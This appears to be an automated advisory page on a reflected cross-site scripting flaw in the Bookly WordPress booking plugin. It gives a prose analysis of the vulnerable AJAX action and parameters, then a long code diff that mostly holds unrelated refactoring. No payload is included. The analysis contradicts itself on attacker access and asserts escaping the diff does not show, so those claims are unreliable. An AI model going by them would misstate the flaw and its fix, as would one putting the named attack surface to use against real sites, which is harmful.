Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2026-32540: Online Scheduling and Appointment Booking System – Bookly <= 26.7 – Reflected Cross-Site Scripting (bookly-responsive-appointment-booking-tool)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 26.7
Patched Version 26.8
Disclosed March 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-32540:
This vulnerability is a reflected cross-site scripting (XSS) flaw in the Bookly WordPress plugin, affecting versions up to and including 26.7. The vulnerability exists in the plugin’s backend appointment management interface, allowing unauthenticated attackers to inject arbitrary JavaScript via insufficiently sanitized parameters. The CVSS score of 6.1 reflects a medium-severity issue requiring user interaction for successful exploitation.

The root cause lies in the getDaySchedule() function within /backend/components/dialogs/appointment/edit/Ajax.php. This function directly passes user-controlled parameters from self::parameter() calls to internal processing without adequate output encoding. The vulnerable code path receives parameters including ‘staff_id’, ‘service_id’, ‘date’, ‘appointment_id’, ‘location_id’, ‘extras’, and ‘nop’ from HTTP requests. These parameters flow through the function’s logic and eventually reach JSON responses via wp_send_json_success(). The absence of proper escaping allows JavaScript injection in the reflected context.

Exploitation occurs through crafted HTTP requests to the WordPress admin-ajax.php endpoint with the action parameter set to ‘bookly_get_day_schedule’. Attackers can embed malicious JavaScript payloads within any of the vulnerable parameters, particularly those displayed in the appointment scheduling interface. A typical attack would involve luring an authenticated administrator to click a malicious link containing encoded XSS payloads in parameters like ‘date’ or ‘staff_id’, which then execute in the victim’s session context.

The patch addresses the vulnerability by refactoring the getDaySchedule() function to delegate parameter processing to a dedicated utility method. Instead of directly handling user input, the function now calls LibUtilsAppointment::getDaySchedule() with the same parameters. This centralizes input validation and output encoding within the utility class. The diff shows the complete replacement of the vulnerable 80-line function with a 10-line wrapper that passes parameters to the secure utility method, ensuring proper escaping occurs before any data reaches the JSON response.

Successful exploitation enables attackers to execute arbitrary JavaScript in the context of an authenticated user’s session. For administrators, this could lead to complete site compromise through privilege escalation, plugin installation, or backdoor creation. For staff users, attackers could steal sensitive appointment data, modify booking information, or perform actions within the user’s permission scope. The reflected nature requires social engineering but poses significant risk given the administrative access typically required to access the vulnerable interface.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/bookly-responsive-appointment-booking-tool/backend/components/dialogs/appointment/edit/Ajax.php
+++ b/bookly-responsive-appointment-booking-tool/backend/components/dialogs/appointment/edit/Ajax.php
@@ -437,80 +437,15 @@
      */
     public static function getDaySchedule()
     {
-        $staff_ids = array( self::parameter( 'staff_id' ) );
-        $service_id = self::parameter( 'service_id' );
-        $service = Service::find( $service_id );
-        $date = self::parameter( 'date' );
-
-        $appointment_id = self::parameter( 'appointment_id' );
-        $location_id = self::parameter( 'location_id' );
-        $nop = max( 1, self::parameter( 'nop', 1 ) );
-
-        // Get array of extras with max duration
-        $extras = ProxyExtras::getMaxDurationExtras( self::parameter( 'extras', array() ) );
-
-        $chain_item = new LibChainItem();
-        $chain_item
-            ->setStaffIds( $staff_ids )
-            ->setServiceId( $service_id )
-            ->setLocationId( $location_id )
-            ->setNumberOfPersons( $nop )
-            ->setQuantity( 1 )
-            ->setLocationId( $location_id )
-            ->setUnits( 1 )
-            ->setExtras( $extras );
-
-        $chain = new LibChain();
-        $chain->add( $chain_item );
-
-        $custom_slot = array();
-        $ignore_appointments = array();
-        if ( $appointment_id ) {
-            $appointment = Appointment::find( $appointment_id );
-            if ( date_create( $appointment->getStartDate() )->format( 'Y-m-d' ) === date_create( $date )->format( 'Y-m-d' ) ) {
-                $custom_slot = array(
-                    'title' => DatePoint::fromStr( $appointment->getStartDate() )->formatI18n( get_option( 'time_format' ) ),
-                    'value' => date_create( $appointment->getStartDate() )->format( 'H:i' ),
-                );
-            }
-            $ignore_appointments[] = $appointment_id;
-        }
-
-        $scheduler = new LibScheduler( $chain, date_create( $date )->format( 'Y-m-d 00:00' ), date_create( $date )->format( 'Y-m-d' ), 'daily', array( 'every' => 1 ), array(), false, $ignore_appointments );
-        $schedule = $scheduler->scheduleForFrontend( 1 );
-        $result = array();
-        $time_format = get_option( 'time_format' );
-        if ( isset( $schedule[0]['options'] ) ) {
-            foreach ( $schedule[0]['options'] as $slot ) {
-                $value = json_decode( $slot['value'], true );
-                $date = date_create( $value[0][2] );
-                $value = $date->format( 'H:i' );
-                if ( ! empty( $custom_slot ) && $value === $custom_slot['value'] ) {
-                    $custom_slot = array();
-                }
-                if ( ! empty( $custom_slot ) && strcmp( $value, $custom_slot['value'] ) > 0 ) {
-                    $result[] = $custom_slot;
-                    $custom_slot = array();
-                }
-                $end_date = clone $date;
-                $end_date = $end_date->modify( $service->getDuration() . ' seconds' );
-                $result['start'][] = array(
-                    'title' => $slot['title'],
-                    'value' => $value,
-                    'disabled' => $slot['disabled'],
-                );
-
-                $result['end'][] = array(
-                    'title_time' => date_i18n( $time_format, $end_date->getTimestamp() ),
-                    'value' => $end_date->getTimestamp() - $date->modify( 'midnight' )->getTimestamp() >= DAY_IN_SECONDS ? ( (int) $end_date->format( 'H' ) + 24 ) . ':' . $end_date->format( 'i' ) : $end_date->format( 'H:i' ),
-                    'disabled' => $slot['disabled'],
-                );
-            }
-        }
-
-        if ( ! empty( $custom_slot ) ) {
-            $result[] = $custom_slot;
-        }
+        $result = LibUtilsAppointment::getDaySchedule(
+            array( self::parameter( 'staff_id' ) ),
+            self::parameter( 'service_id' ),
+            self::parameter( 'date' ),
+            self::parameter( 'appointment_id' ),
+            self::parameter( 'location_id' ),
+            self::parameter( 'extras', array() ),
+            max( 1, self::parameter( 'nop', 1 ) )
+        );

         wp_send_json_success( $result );
     }
--- a/bookly-responsive-appointment-booking-tool/backend/components/dialogs/sms/templates/_settings.php
+++ b/bookly-responsive-appointment-booking-tool/backend/components/dialogs/sms/templates/_settings.php
@@ -159,7 +159,7 @@
                         </select>
                     </div>
                     <div class="align-self-center mx-2">
-                        <?php esc_html_e( 'at', 'bookly' ) ?>
+                        <?php echo esc_html_x( 'at', 'at time', 'bookly' ) ?>
                     </div>
                     <div>
                         <select class="form-control custom-select" name="notification[settings][at_hour]">
@@ -190,7 +190,7 @@
                     </select>
                 </div>
                 <div class="align-self-center mx-2">
-                    <?php esc_html_e( 'at', 'bookly' ) ?>
+                    <?php echo esc_html_x( 'at', 'at time', 'bookly' ) ?>
                 </div>
                 <div>
                     <select class="form-control custom-select" name="notification[settings][before_at_hour]">
--- a/bookly-responsive-appointment-booking-tool/backend/components/schedule/Select.php
+++ b/bookly-responsive-appointment-booking-tool/backend/components/schedule/Select.php
@@ -40,7 +40,7 @@

         // Insert empty value if required.
         if ( $options['use_empty'] ) {
-            $this->values[ null ] = $options['empty_value'];
+            $this->values[''] = $options['empty_value'];
         }

         $ts_length  = LibConfig::getTimeSlotLength();
--- a/bookly-responsive-appointment-booking-tool/backend/modules/appointments/Ajax.php
+++ b/bookly-responsive-appointment-booking-tool/backend/modules/appointments/Ajax.php
@@ -112,9 +112,10 @@
      * @param array $columns
      * @param array $order
      * @param bool $export
+     * @param string|null $display_tz
      * @return array
      */
-    public static function getAppointmentsTableData( $filter = array(), $limits = array(), $columns = array(), $order = array(), $export = false )
+    public static function getAppointmentsTableData( $filter = array(), $limits = array(), $columns = array(), $order = array(), $export = false, $display_tz = null )
     {
         $postfix_any = sprintf( ' (%s)', get_option( 'bookly_l10n_option_employee' ) );
         $postfix_archived = sprintf( ' (%s)', __( 'Archived', 'bookly' ) );
@@ -254,13 +255,18 @@

         $locations_active = LibConfig::locationsActive();

+        if ( $display_tz === null ) {
+            $convert_tz = false;
+        } else {
+            $wp_tz = LibConfig::getWPTimeZone();
+            $convert_tz = $display_tz != $wp_tz;
+        }
+
         $data = array();
         foreach ( $query->fetchArray() as $row ) {
-            // Service duration.
             $service_duration = $export
                 ? (int) ( $row['service_duration'] / MINUTE_IN_SECONDS )
                 : LibUtilsDateTime::secondsToInterval( $row['service_duration'] );
-            // Payment title.
             $payment_title = '';
             $payment_raw_title = '';
             if ( $row['payment'] !== null && $row['status'] !== LibEntitiesCustomerAppointment::STATUS_WAITLISTED ) {
@@ -285,9 +291,9 @@
             }
             // Appointment status.
             $row['status'] = LibEntitiesCustomerAppointment::statusToString( $row['status'] );
-            // Custom fields
             $customer_appointment = new LibEntitiesCustomerAppointment();
             $customer_appointment->load( $row['ca_id'] );
+            // Custom fields
             foreach ( LibProxyCustomFields::getForCustomerAppointment( $customer_appointment ) ?: array() as $custom_field ) {
                 $custom_fields[ $custom_field['id'] ] = $custom_field['value'];
             }
@@ -312,6 +318,11 @@
                 $online_meeting_start_url = $row['online_meeting_id'];
             }

+            if ( $convert_tz ) {
+                $row['start_date'] = $row['start_date'] ? LibUtilsDateTime::convertTimeZone( $row['start_date'], $wp_tz, $display_tz ) : null;
+                $row['created_date'] = LibUtilsDateTime::convertTimeZone( $row['created_date'], $wp_tz, $display_tz );
+            }
+
             $data[] = array(
                 'id' => $row['id'],
                 'no' => LibConfig::groupBookingActive() && $row['ca_id'] ? $row['id'] . '-' . $row['ca_id'] : $row['ca_id'],
--- a/bookly-responsive-appointment-booking-tool/backend/modules/calendar/Page.php
+++ b/bookly-responsive-appointment-booking-tool/backend/modules/calendar/Page.php
@@ -16,8 +16,10 @@
      */
     public static function render()
     {
+        $calendar_version = get_option( 'bookly_legacy_calendar' ) ? 'legacy' : 'latest';
+
         self::enqueueStyles( array(
-            'module' => array( 'css/event-calendar.min.css' => array( 'bookly-backend-globals' ) ),
+            'module' => array( 'css/' . ( $calendar_version !== 'latest' ? 'event-calendar-4.min.css' : 'event-calendar.min.css' ) => array( 'bookly-backend-globals' ) ),
         ) );

         $id = LibEntitiesAppointment::query()->fetchVar( 'MAX(id)' );
@@ -57,8 +59,8 @@
             $staff_members ?
                 array(
                     'module' => array(
-                        'js/event-calendar.min.js' => array( 'bookly-backend-globals' ),
-                        'js/calendar-common.js' => array( 'bookly-event-calendar.min.js' ),
+                        'js/' . ( $calendar_version !== 'latest' ? 'event-calendar-4.min.js' : 'event-calendar.min.js' ) => array( 'bookly-backend-globals' ),
+                        'js/calendar-common.js' => array( 'bookly-' . ( $calendar_version !== 'latest' ? 'event-calendar-4.min.js' : 'event-calendar.min.js' ) ),
                         'js/calendar.js' => array( 'bookly-calendar-common.js', 'bookly-dropdown.js' ),
                     ),
                     'backend' => array(
@@ -76,6 +78,7 @@
         wp_localize_script( 'bookly-calendar.js', 'BooklyL10n', array_merge(
             LibUtilsCommon::getCalendarSettings(),
             array(
+                'calendar_version' => $calendar_version,
                 'delete' => __( 'Delete', 'bookly' ),
                 'are_you_sure' => __( 'Are you sure?', 'bookly' ),
                 'filterResourcesWithEvents' => Config::showOnlyStaffWithAppointmentsInCalendarDayView(),
--- a/bookly-responsive-appointment-booking-tool/backend/modules/diagnostics/QueryBuilder.php
+++ b/bookly-responsive-appointment-booking-tool/backend/modules/diagnostics/QueryBuilder.php
@@ -545,6 +545,7 @@
             'bookly_event_ticket_types.reserved' => array( 'type' => "int", 'is_nullabe' => 0, 'extra' => "", 'default' => null, 'key' => "" ),
             'bookly_event_ticket_types.reserved_ps' => array( 'type' => "int", 'is_nullabe' => 0, 'extra' => "", 'default' => null, 'key' => "" ),
             'bookly_event_ticket_types.price' => array( 'type' => "decimal(10,2)", 'is_nullabe' => 0, 'extra' => "", 'default' => "0.00", 'key' => "" ),
+            'bookly_event_ticket_types.position' => array( 'type' => "int", 'is_nullabe' => 0, 'extra' => "", 'default' => "9999", 'key' => "" ),
             'bookly_events.id' => array( 'type' => "int unsigned", 'is_nullabe' => 0, 'extra' => "auto_increment", 'default' => null, 'key' => "PRI" ),
             'bookly_events.location_id' => array( 'type' => "int unsigned", 'is_nullabe' => 1, 'extra' => "", 'default' => null, 'key' => "MUL" ),
             'bookly_events.title' => array( 'type' => "varchar(64)", 'is_nullabe' => 1, 'extra' => "", 'default' => null, 'key' => "" ),
@@ -570,6 +571,10 @@
             'bookly_files.path' => array( 'type' => "text", 'is_nullabe' => 0, 'extra' => "", 'default' => null, 'key' => "" ),
             'bookly_files.custom_field_id' => array( 'type' => "int", 'is_nullabe' => 1, 'extra' => "", 'default' => null, 'key' => "" ),
             'bookly_files.ci_id' => array( 'type' => "int", 'is_nullabe' => 1, 'extra' => "", 'default' => null, 'key' => "" ),
+            'bookly_form_sessions.id' => array( 'type' => "int unsigned", 'is_nullabe' => 0, 'extra' => "auto_increment", 'default' => null, 'key' => "PRI" ),
+            'bookly_form_sessions.token' => array( 'type' => "varchar(255)", 'is_nullabe' => 0, 'extra' => "", 'default' => null, 'key' => "MUL" ),
+            'bookly_form_sessions.value' => array( 'type' => "text", 'is_nullabe' => 1, 'extra' => "", 'default' => null, 'key' => "" ),
+            'bookly_form_sessions.expire' => array( 'type' => "datetime", 'is_nullabe' => 0, 'extra' => "", 'default' => null, 'key' => "MUL" ),
             'bookly_forms.id' => array( 'type' => "int unsigned", 'is_nullabe' => 0, 'extra' => "auto_increment", 'default' => null, 'key' => "PRI" ),
             'bookly_forms.type' => array( 'type' => "enum('search-form','services-form','staff-form','cancellation-confirmation','tags-form','events-form','checkout-form')", 'is_nullabe' => 0, 'extra' => "", 'default' => "search-form", 'key' => "" ),
             'bookly_forms.name' => array( 'type' => "varchar(255)", 'is_nullabe' => 0, 'extra' => "", 'default' => null, 'key' => "" ),
--- a/bookly-responsive-appointment-booking-tool/backend/modules/diagnostics/tests/Sessions.php
+++ b/bookly-responsive-appointment-booking-tool/backend/modules/diagnostics/tests/Sessions.php
@@ -1,50 +0,0 @@
-<?php
-namespace BooklyBackendModulesDiagnosticsTests;
-
-use BooklyLib;
-
-class Sessions extends Test
-{
-    protected $slug = 'check-sessions';
-    protected $hidden = true;
-
-    protected $session_value1 = '0123456789';
-    protected $session_value2 = '9876543210';
-
-    public function __construct()
-    {
-        $this->title = __( 'PHP Sessions', 'bookly' );
-        $this->description = sprintf( __( 'This test checks if PHP sessions are enabled. Bookly needs PHP sessions to work correctly. For more information about PHP sessions, please check the official PHP documentation %s.', 'bookly' ), '<a href="https://www.php.net/manual/en/intro.session.php">php.net/manual/en/intro.session.php</a>' );
-    }
-
-    /**
-     * @inheritDoc
-     */
-    public function run()
-    {
-        LibSession::set( 'test-session-value', $this->session_value1 );
-
-        return true;
-    }
-
-    public function ajax1()
-    {
-        if ( LibSession::get( 'test-session-value' ) === $this->session_value1 ) {
-            LibSession::set( 'test-session-value', $this->session_value2 );
-            wp_send_json_success();
-        }
-        $error = 'To enable PHP sessions, please check the official PHP documentation';
-        wp_send_json_error( array( 'errors' => array( $error ) ) );
-    }
-
-    public function ajax2()
-    {
-        if ( LibSession::get( 'test-session-value' ) === $this->session_value2 ) {
-            LibSession::destroy( 'test-session-value' );
-            wp_send_json_success();
-        }
-
-        $error = 'To enable PHP sessions, please check the official PHP documentation';
-        wp_send_json_error( array( 'errors' => array( $error ) ) );
-    }
-}
 No newline at end of file
--- a/bookly-responsive-appointment-booking-tool/backend/modules/diagnostics/tools/FormsData.php
+++ b/bookly-responsive-appointment-booking-tool/backend/modules/diagnostics/tools/FormsData.php
@@ -1,40 +0,0 @@
-<?php
-namespace BooklyBackendModulesDiagnosticsTools;
-
-use BooklyLibSession;
-
-class FormsData extends Tool
-{
-    protected $slug = 'forms-data';
-    protected $hidden = true;
-    protected $template = '_forms_data';
-
-
-    public function __construct()
-    {
-        $this->title = 'Forms data';
-    }
-
-    public function render()
-    {
-        $all_forms_data = Session::getAllFormsData();
-        $last_touched_form_id = 0;
-        $last_touched = 0;
-        foreach ( $all_forms_data as $form_id => $data ) {
-            if ( isset( $data['last_touched'] ) && $last_touched < $data['last_touched'] ) {
-                $last_touched = $data['last_touched'];
-                $last_touched_form_id = $form_id;
-            }
-        }
-
-        return self::renderTemplate( '_forms_data', array( 'forms' => $all_forms_data, 'active' => $last_touched_form_id ), false );
-    }
-
-    public function destroy()
-    {
-        $form_id = self::parameter( 'form_id' );
-        Session::destroyFormData( $form_id );
-
-        wp_send_json_success();
-    }
-}
 No newline at end of file
--- a/bookly-responsive-appointment-booking-tool/backend/modules/settings/Page.php
+++ b/bookly-responsive-appointment-booking-tool/backend/modules/settings/Page.php
@@ -64,6 +64,7 @@
                     update_option( 'bookly_cal_show_new_appointments_badge', self::parameter( 'bookly_cal_show_new_appointments_badge' ) );
                     update_option( 'bookly_cal_last_seen_appointment', self::parameter( 'bookly_cal_last_seen_appointment' ) );
                     update_option( 'bookly_cal_scrollable_calendar', self::parameter( 'bookly_cal_scrollable_calendar' ) );
+                    update_option( 'bookly_legacy_calendar', self::parameter( 'bookly_legacy_calendar' ) );
                     foreach ( self::parameter( 'status' ) as $status => $color ) {
                         if ( in_array( $status, array( CustomerAppointment::STATUS_PENDING, CustomerAppointment::STATUS_APPROVED, CustomerAppointment::STATUS_CANCELLED, CustomerAppointment::STATUS_REJECTED, 'mixed' ) ) ) {
                             update_option( sprintf( 'bookly_appointment_status_%s_color', $status ), $color );
@@ -121,9 +122,7 @@
                     update_option( 'bookly_gen_collect_stats', self::parameter( 'bookly_gen_collect_stats' ) );
                     update_option( 'bookly_gen_show_powered_by', self::parameter( 'bookly_gen_show_powered_by' ) );
                     update_option( 'bookly_gen_prevent_caching', (int) self::parameter( 'bookly_gen_prevent_caching' ) );
-                    update_option( 'bookly_gen_prevent_session_locking', (int) self::parameter( 'bookly_gen_prevent_session_locking' ) );
                     update_option( 'bookly_gen_badge_consider_news', (int) self::parameter( 'bookly_gen_badge_consider_news' ) );
-                    update_option( 'bookly_gen_session_type', self::parameter( 'bookly_gen_session_type' ) );
                     update_option( 'bookly_email_gateway', self::parameter( 'bookly_email_gateway' ) );
                     update_option( 'bookly_smtp_host', self::parameter( 'bookly_smtp_host' ) );
                     update_option( 'bookly_smtp_port', self::parameter( 'bookly_smtp_port' ) );
--- a/bookly-responsive-appointment-booking-tool/backend/modules/settings/templates/_calendarForm.php
+++ b/bookly-responsive-appointment-booking-tool/backend/modules/settings/templates/_calendarForm.php
@@ -13,6 +13,7 @@
         <?php SettingsSelects::renderSingle( 'bookly_cal_show_only_business_hours', __( 'Show only business hours in the calendar', 'bookly' ), __( 'If this setting is enabled then the visible hours in the calendar will be limited to the company's business hours', 'bookly' ) ) ?>
         <?php SettingsSelects::renderSingle( 'bookly_cal_show_only_staff_with_appointments', __( 'Show only staff members with appointments in Day view', 'bookly' ), __( 'If this setting is enabled then only staff members who have associated appointments will be displayed in the Day view', 'bookly' ) ) ?>
         <?php SettingsSelects::renderSingle( 'bookly_cal_show_new_appointments_badge', __( 'Show new appointments notifications', 'bookly' ), __( 'If enabled, you will see an indicator near 'Calendar' for newly created appointments', 'bookly' ) ) ?>
+        <?php SettingsSelects::renderSingle( 'bookly_legacy_calendar', __( 'Legacy mode', 'bookly' ), __( 'If enabled, the calendar will use Legacy mode, which improves compatibility with older browsers.', 'bookly' ) ) ?>
         <?php SettingsSelects::renderSingle( 'bookly_cal_scrollable_calendar', __( 'Scrollable calendar', 'bookly' ), __( 'If enabled, the backend calendar will occupy part of the screen and remain scrollable. If disabled, it will take up more space and scroll along with the entire page.', 'bookly' ), array(), array( 'data-expand' => '1' ) ) ?>
         <div class="border-left mt-3 ml-4 pl-3 bookly_cal_scrollable_calendar-expander"<?php if ( get_option( 'bookly_cal_scrollable_calendar', '1' ) !== '0' ) : ?> style="display:none;"<?php endif ?>>
             <?php SettingsSelects::renderSingle( 'bookly_cal_month_view_style', __( 'Month view style', 'bookly' ), __( 'Select the style for displaying appointments in Month view', 'bookly' ), array( array( 'classic', __( 'Classic', 'bookly' ) ), array( 'minimalistic', __( 'Minimalistic', 'bookly' ) ) ) ) ?>
--- a/bookly-responsive-appointment-booking-tool/backend/modules/settings/templates/_generalForm.php
+++ b/bookly-responsive-appointment-booking-tool/backend/modules/settings/templates/_generalForm.php
@@ -20,24 +20,15 @@
             Selects::renderSingle( 'bookly_gen_use_client_time_zone', __( 'Display available time slots in client's time zone', 'bookly' ), __( 'The value is taken from client's browser.', 'bookly' ) );
             Selects::renderSingle( 'bookly_gen_allow_staff_edit_profile', __( 'Allow staff members to edit their profiles', 'bookly' ), __( 'If this option is enabled then all staff members who are associated with WordPress users will be able to edit their own profiles, services, schedule and days off.', 'bookly' ) );
             Selects::renderSingle( 'bookly_gen_link_assets_method', __( 'Method to include Bookly JavaScript and CSS files on the page', 'bookly' ), sprintf( __( 'Select method how to include Bookly JavaScript and CSS files on the page. For more information, see the <a href="%s" target="_blank">documentation</a> page.', 'bookly' ), 'https://hub.bookly.pro/go/bookly-settings-general' ), array(
-                array(
-                    'enqueue',
-                    __( 'All pages', 'bookly' ),
-                ),
-                array( 'print', __( 'Pages with Bookly form', 'bookly' ) ),
+                    array(
+                            'enqueue',
+                            __( 'All pages', 'bookly' ),
+                    ),
+                    array( 'print', __( 'Pages with Bookly form', 'bookly' ) ),
             ) );
             Selects::renderSingle( 'bookly_gen_collect_stats', __( 'Help us improve Bookly by sending anonymous usage stats', 'bookly' ) );
             Selects::renderSingle( 'bookly_gen_show_powered_by', __( 'Powered by Bookly' ), __( 'Allow the plugin to set a Powered by Bookly notice on the booking widget to spread information about the plugin. This will allow the team to improve the product and enhance its functionality', 'bookly' ) );
             Selects::renderSingle( 'bookly_gen_prevent_caching', __( 'Prevent caching of pages with booking form', 'bookly' ), __( 'Select "Enabled" if you want Bookly to prevent caching by third-party caching plugins by adding a DONOTCACHEPAGE constant on pages with booking form', 'bookly' ) );
-            Selects::renderSingle( 'bookly_gen_session_type', __( 'Session storage mode', 'bookly' ), __( 'Select where to store session data', 'bookly' ), array( array( 'php', 'PHP', 0 ), array( 'db', 'Database', 0 ) ), array( 'data-expand' => 'php' ) );
-            ?>
-            <div
-                    class="border-left mt-3 ml-4 pl-3 bookly_gen_session_type-expander"<?php if ( get_option( 'bookly_gen_session_type', 'db' ) === 'db' ) : ?> style="display:none;"<?php endif ?>>
-                <?php
-                Selects::renderSingle( 'bookly_gen_prevent_session_locking', __( 'Prevent PHP session locking', 'bookly' ), __( 'Enable this option to make Bookly close the PHP session as soon as it is done with it. This should prevent locking the session, which could cause various other processes to timeout or fail', 'bookly' ) );
-                ?>
-            </div>
-            <?php
             Selects::renderSingle( 'bookly_gen_badge_consider_news', __( 'Show news notifications', 'bookly' ), __( 'If enabled, News notification icon will be displayed', 'bookly' ) );
             Selects::renderSingle( 'bookly_email_gateway', __( 'Mail gateway', 'bookly' ), sprintf( __( 'Select a mail gateway that will be used to send email notifications. For more information, see the <a href="%s" target="_blank">documentation</a> page.', 'bookly' ), 'https://hub.bookly.pro/go/bookly-settings-smtp' ), array( array( 'wp', __( 'WordPress mail', 'bookly' ), 0 ), array( 'smtp', 'SMTP', 0 ) ), array( 'data-expand' => 'smtp' ) );
             ?>
--- a/bookly-responsive-appointment-booking-tool/backend/modules/staff/Page.php
+++ b/bookly-responsive-appointment-booking-tool/backend/modules/staff/Page.php
@@ -23,7 +23,7 @@
         // Allow add-ons to enqueue their assets.
         ProxyShared::enqueueStaffProfileStyles();
         ProxyShared::enqueueStaffProfileScripts();
-        ProxyShared::renderStaffPage( self::parameters() );
+        $errors = ProxyShared::prepareCalendarErrors( array(), self::parameters() );

         $categories = ProxyPro::getCategoriesList() ?: array();
         foreach ( $categories as &$category ) {
@@ -45,6 +45,7 @@
             'processing' => esc_attr__( 'Processing', 'bookly' ) . '…',
             'emptyTable' => __( 'No data available in table', 'bookly' ),
             'loadingRecords' => __( 'Loading...', 'bookly' ),
+            'errors' => $errors,
             'datatables' => $datatables,
         ) );

--- a/bookly-responsive-appointment-booking-tool/backend/modules/staff/forms/widgets/TimeChoice.php
+++ b/bookly-responsive-appointment-booking-tool/backend/modules/staff/forms/widgets/TimeChoice.php
@@ -26,7 +26,7 @@

         // Insert empty value if required.
         if ( $options['use_empty'] ) {
-            $this->values[ null ] = $options['empty_value'];
+            $this->values[''] = $options['empty_value'];
         }

         $ts_length  = LibConfig::getTimeSlotLength();
--- a/bookly-responsive-appointment-booking-tool/backend/modules/staff/proxy/Shared.php
+++ b/bookly-responsive-appointment-booking-tool/backend/modules/staff/proxy/Shared.php
@@ -8,7 +8,7 @@
  * @method static void   enqueueStaffProfileStyles() Enqueue styles for page Staff.
  * @method static string getAffectedAppointmentsFilter( string $filter_url, int[] $staff_ids ) Get link with filter for appointments page.
  * @method static LibQuery prepareGetStaffQuery( LibQuery $query ) Prepare get staff list query.
- * @method static array  renderStaffPage( array $params ) Do stuff on staff page render.
+ * @method static array  prepareCalendarErrors( array $errors, array $params ) Prepare errors for calendar page.
  * @method static array  searchStaff( array $fields, array $columns, LibQuery $query ) Search staff, prepare query and fields.
  */
 abstract class Shared extends LibBaseProxy
--- a/bookly-responsive-appointment-booking-tool/frontend/modules/booking/Ajax.php
+++ b/bookly-responsive-appointment-booking-tool/frontend/modules/booking/Ajax.php
@@ -17,6 +17,38 @@
         return array( '_default' => 'anonymous' );
     }

+    public static function getFormId()
+    {
+        $status = array( 'booking' => 'new' );
+        $form_processed = false;
+        if ( self::hasParameter( 'form_id' ) ) {
+            $form_id = self::parameter( 'form_id' );
+            $data = LibFormSession::loadSession( $form_id );
+            if ( $data && isset( $data['payment'] ) && ! isset ( $data['payment']['processed'] ) ) {
+                switch ( $data['payment']['status'] ) {
+                    case LibBaseGateway::STATUS_COMPLETED:
+                    case LibBaseGateway::STATUS_PROCESSING:
+                        $status = array( 'booking' => 'finished' );
+                        break;
+                    case LibBaseGateway::STATUS_FAILED:
+                        end( $data['cart'] );
+                        $status = array( 'booking' => 'cancelled', 'cart_key' => key( $data['cart'] ) );
+                        break;
+                }
+                // Mark this form as processed for cases when there are more than 1 booking form on the page.
+                $data['payment']['processed'] = true;
+                LibFormSession::saveSession( $form_id, $data );
+                $form_processed = true;
+            }
+        }
+        if ( ! $form_processed ) {
+            $form_id = LibFormSession::createSession();
+            LibFormSession::saveSession( $form_id, self::parameter( 'form_data' ) );
+        }
+
+        wp_send_json( array( 'success' => true, 'form_id' => $form_id, 'status' => $status ) );
+    }
+
     /**
      * 1. Step service.
      * response JSON
@@ -1221,13 +1253,14 @@
                 }
             }
             $form_id = self::parameter( 'form_id' );
-            $stepper_add_step = ! LibSession::getFormVar( $form_id, 'skip_service_step', 0 )
-                && ( LibSession::getFormVar( $form_id, 'hide_service_part1', 0 ) + LibSession::getFormVar( $form_id, 'hide_service_part2', 0 ) ) === 0;
+            $session = LibFormSession::loadSession( $form_id );
+            $stepper_add_step = ( ! isset( $session['skip_service_step'] ) || ! $session['skip_service_step'] )
+                && ( $session['hide_service_part1'] + $session['hide_service_part2'] === 0 );

             $result = self::renderTemplate( '_progress_tracker', array(
                 'step' => $step,
                 'skip_steps' => array(
-                    'service' => LibSession::hasFormVar( $form_id, 'skip_service_step' ),
+                    'service' => isset( $session['skip_service_step'] ) && $session['skip_service_step'],
                     'extras' => ! ( LibConfig::serviceExtrasActive() && get_option( 'bookly_service_extras_enabled' ) ),
                     'time' => $skip_time_step,
                     'repeat' => $skip_time_step || ! LibConfig::recurringAppointmentsActive() || ! get_option( 'bookly_recurring_appointments_enabled' ) || LibConfig::showSingleTimeSlot(),
@@ -1261,8 +1294,9 @@
      */
     private static function _setDataForSkippedServiceStep( LibUserBookingData $userData )
     {
+        $session_data = LibFormSession::loadSession( self::parameter( 'form_id' ) );
         // Staff ids.
-        $defaults = LibSession::getFormVar( self::parameter( 'form_id' ), 'defaults' );
+        $defaults = $session_data['defaults'];
         if ( $defaults !== null ) {
             $service_id = $defaults['service_id'];
             $service = LibEntitiesService::find( $defaults['service_id'] );
--- a/bookly-responsive-appointment-booking-tool/frontend/modules/booking/ShortCode.php
+++ b/bookly-responsive-appointment-booking-tool/frontend/modules/booking/ShortCode.php
@@ -94,36 +94,6 @@
         // Disable caching.
         LibUtilsCommon::noCache();

-        // Generate unique form id.
-        $form_id = uniqid();
-
-        // Find bookings with any of payment statuses ( PayPal, 2Checkout, PayU Latam ).
-        $status = array( 'booking' => 'new' );
-        foreach ( LibSession::getAllFormsData() as $saved_form_id => $data ) {
-            if ( isset ( $data['payment'] ) ) {
-                if ( ! isset ( $data['payment']['processed'] ) ) {
-                    switch ( $data['payment']['status'] ) {
-                        case LibBaseGateway::STATUS_COMPLETED:
-                        case LibBaseGateway::STATUS_PROCESSING:
-                            $form_id = $saved_form_id;
-                            $status = array( 'booking' => 'finished' );
-                            break;
-                        case LibBaseGateway::STATUS_FAILED:
-                            $form_id = $saved_form_id;
-                            end( $data['cart'] );
-                            $status = array( 'booking' => 'cancelled', 'cart_key' => key( $data['cart'] ) );
-                            break;
-                    }
-                    // Mark this form as processed for cases when there are more than 1 booking form on the page.
-                    $data['payment']['processed'] = true;
-                    LibSession::setFormVar( $saved_form_id, 'payment', $data['payment'] );
-                }
-            } elseif ( isset( $data['last_touched'] ) && $data['last_touched'] + 30 * MINUTE_IN_SECONDS < time() ) {
-                // Destroy forms older than 30 min.
-                LibSession::destroyFormData( $saved_form_id );
-            }
-        }
-
         // Check if predefined short code is rendering
         if ( isset( $attributes['id'] ) ) {
             $attributes = apply_filters( 'bookly_form_attributed', $attributes );
@@ -188,17 +158,6 @@
             return esc_html( 'The preselected service for shortcode is not available anymore. Please check your shortcode settings.' );
         }

-        if ( $hide_service_part1 && $hide_service_part2 ) {
-            LibSession::setFormVar( $form_id, 'skip_service_step', true );
-        } else {
-            LibSession::setFormVar( $form_id, 'hide_service_part1', $hide_service_part1 );
-            LibSession::setFormVar( $form_id, 'hide_service_part2', $hide_service_part2 );
-        }
-
-        // Store parameters in session for later use.
-        LibSession::setFormVar( $form_id, 'defaults', compact( 'service_id', 'staff_id', 'location_id', 'category_id', 'units', 'date_from', 'time_from', 'time_to' ) );
